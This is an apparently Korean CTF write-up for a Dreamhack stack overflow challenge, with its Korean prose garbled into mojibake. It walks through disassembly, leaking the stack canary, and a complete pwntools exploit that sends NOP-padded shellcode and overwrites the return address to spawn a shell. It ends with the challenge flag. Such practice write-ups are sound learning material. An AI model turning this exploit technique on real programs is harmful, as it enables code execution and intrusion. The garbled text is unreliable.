0x00000000000008de <+17>: mov QWORD PTR [rbp-0x8],rax //rax๋ฅผ rbp-8์ ๋ณต์ฌ
... ์๋ต
0x0000555555554956 <+137>: lea rax,[rbp-0x60] // buf์ ์์น
0x000055555555495a <+141>: mov edx,0x100
0x000055555555495f <+146>: mov rsi,rax
0x0000555555554962 <+149>: mov edi,0x0
0x0000555555554967 <+154>: call 0x555555554730 <read@plt>
๋ฉ์ธํจ์๋ฅผ ๋์ค์ด์ ๋ธ ํด๋ณด๋ฉด ์คํ ํ๋ ์์ ์ํด์ ์ด 96byte๋ฅผ ํ ๋นํ๊ณ ์๊ณ , canary word์ ์์น๋ ebp-8์ด๋ค.
๊ทธ๋ฆฌ๊ณ canaryword๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฝ๊ธฐ ๋ฐฉ์ง๋ฅผ ์ํด์ ๊ฐ์ฅ ์ฒซ byte๊ฐ โ\x00โ์ผ๋ก ์์ํ๋ ํน์ง์ ๊ฐ์ง๊ณ ์๋ค.
์ด๋ฅผ ๊ทธ๋ฆผ์ผ๋ก ๊ทธ๋ ค๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํ์ด ๊ทธ๋ ค์ง๋ค.
ํด๋น ๋ฌธ์ ์์ ์์ ํ๋ํ๊ธฐ ์ํด์๋ ๋ค์์ ๊ณผ์ ์ด ํ์ํ๋ค.
- Canary ๊ฐ ์์๋ด๊ธฐ
- Shell code๋ฅผ ์์ฑํ์ฌ buf์ ๋ด๊ธฐ
- ret ์ฃผ์๋ฅผ buf ์์์ฃผ์๋ก ํ์ฌ ์์ ํ๋ํ๊ธฐ
Canary ๊ฐ
๋ฌธ์ ์์ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ ์ถ๋ ฅํด ์ฃผ๊ธฐ ๋๋ฌธ์ canary๊ฐ์ ์์๋ผ ์๊ฐ ์๋ค.
์ฌ์ฉ์๊ฐ buf,dummy๋ฅผ ๋ฎ์ 88byte์ ๊ฑฐ๊ธฐ์ canary ๊ฐ์ ์ฒซ ๋ฐ์ดํธ์ธ โ\x00โ๊น์ง ๋ฎ๋๋ก ํ๋ฉด ๋ค์ ํจ์์์ canary๊ฐ์ ์ฝ๊ณ ๊ทธ ๋ค๋ก ๋ฉ๋ชจ๋ฆฌ์์ โ\x00โ์ ์ฝ์๋๊น์ง ๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํด์ฃผ๊ธฐ ๋๋ฌธ์ด๋ค.
printf("Your input is '%s'\n", buf);
Shell code ์์ฑ
pwntools์์๋ shellcraft๋ฅผ ์ด์ฉํ์ฌ ์ฝ๊ฒ ์์ฝ๋๋ฅผ ๋ง๋ค ์ ์๋ค. ์์ง์ ๋ด๊ฐ ์์ฝ๋๋ฅผ ์ค์ค๋ก ๋ง๋ค ๋ฅ๋ ฅ์ ์๋์,, ์ฌ๊ธฐ์ ๊ธฐ ์ฌ์ฉ๋ฒ์ ์ฐพ์๋ดค๋๋ architecture๋ง ์ง์ ํด์ฃผ๋ฉด ๋ฐ๋ก ์์ฝ๋ ์์ฑ์ด ๋์๋ค.
์๋๋ ์์ฝ๋๋ฅผ ์์ฑํ๊ณ buf์์ canary๊น์ง์ ๊ธธ์ด(88byte)์ค ๋ถ์กฑ ๋ถ๋ถ์ ๋ชจ๋ โ\x90โ์ผ๋ก ์ฑ์ฐ๋ ์ฝ๋์ด๋ค.
context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")
Buf ์ฃผ์
์ด ๋ฌธ์ ์์๋ buf์ ์ฃผ์๋ฅผ ์์๋ถ๋ถ์์ ์ฃผ์ด์ง๋ค. ๋ฐ๋ผ์ ๋ฆฌํด ์ฃผ์๋ฅผ buf์ ์์์ฃผ์๋ก ๋ฐ๊ฟ์ค๋ค.
์ด๋ ๊ฒ ํด์ ์คํ์ ๋ค์๊ณผ ๊ฐ์ด ๋ณ์กฐํ๋ฉด ์์ ํ๋ํ ์ ์๋ค.
์ฝ๋
pwntools๋ฅผ ์ด์ฉํ ์ ์ฒด ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
from pwn import *
p = remote("host1.dreamhack.games",13165)
# context.log_level=10
# ๋ฒํผ ์ฃผ์
p.recvuntil("Address of the buf: ")
buf_addr = p.recvline()[:-1]
print("buf_addr : {}".format(buf_addr))
# Distance
p.recvuntil("Distance between buf and $rbp: ")
buf2ebp = int(p.recvline()[:-1])
print("buf to ebp : {}".format(buf2ebp))
# get Canary value
buf2cnry = buf2ebp - 8
print("buf to canary : {}".format(buf2cnry))
payload = b"A"*(buf2cnry+1)
p.sendafter("Input:",payload)
p.recvuntil(payload)
canary = b"\x00" + p.recvn(7)
print("canary : {}".format(canary))
# SHELLCODE Exploit
context.arch = "amd64"
SHELLCODE = asm(shellcraft.sh()).ljust(buf2cnry,b"\x90")
payload = ( SHELLCODE + # SHELLCODE
canary + # canary_value
b"B"*8 +
p64(int(buf_addr,16)) # ret addr ๋ณ๊ฒฝ. buf์ฃผ์๋ก
)
p.sendafter("Input: ",payload)
p.interactive()
flag : DH{333eb89c9d2615dd8942ece08c1d34d5}
๋๊ธ๋จ๊ธฐ๊ธฐ